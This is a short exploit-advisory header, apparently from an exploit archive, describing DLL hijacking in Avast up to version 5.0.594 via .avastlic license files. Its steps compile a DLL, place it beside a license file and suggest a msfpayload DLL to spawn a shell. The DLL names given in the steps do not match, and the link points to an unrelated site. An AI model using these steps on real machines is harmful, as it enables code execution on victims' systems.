# Software Link: http://www.avast.com <http://www.bsplayer.org>  
# Version: <= 5.0.594  
# Tested on: WinXP SP2, WinXP SP3  
# Thx TheLeader ;)  
#  
----------------------------------------------------------------------------------------------------------  
# This should work with avast license files (.avastlic)  
# 1. gcc dllmain.c -o mfc90loc.dll  
# 2. Put mfc90ptb.dll in the same directory of an avast license file (EG:  
anything.avastlic)  
# 3. You can generate a msfpayload DLL and spawn a shell, for example.  
#
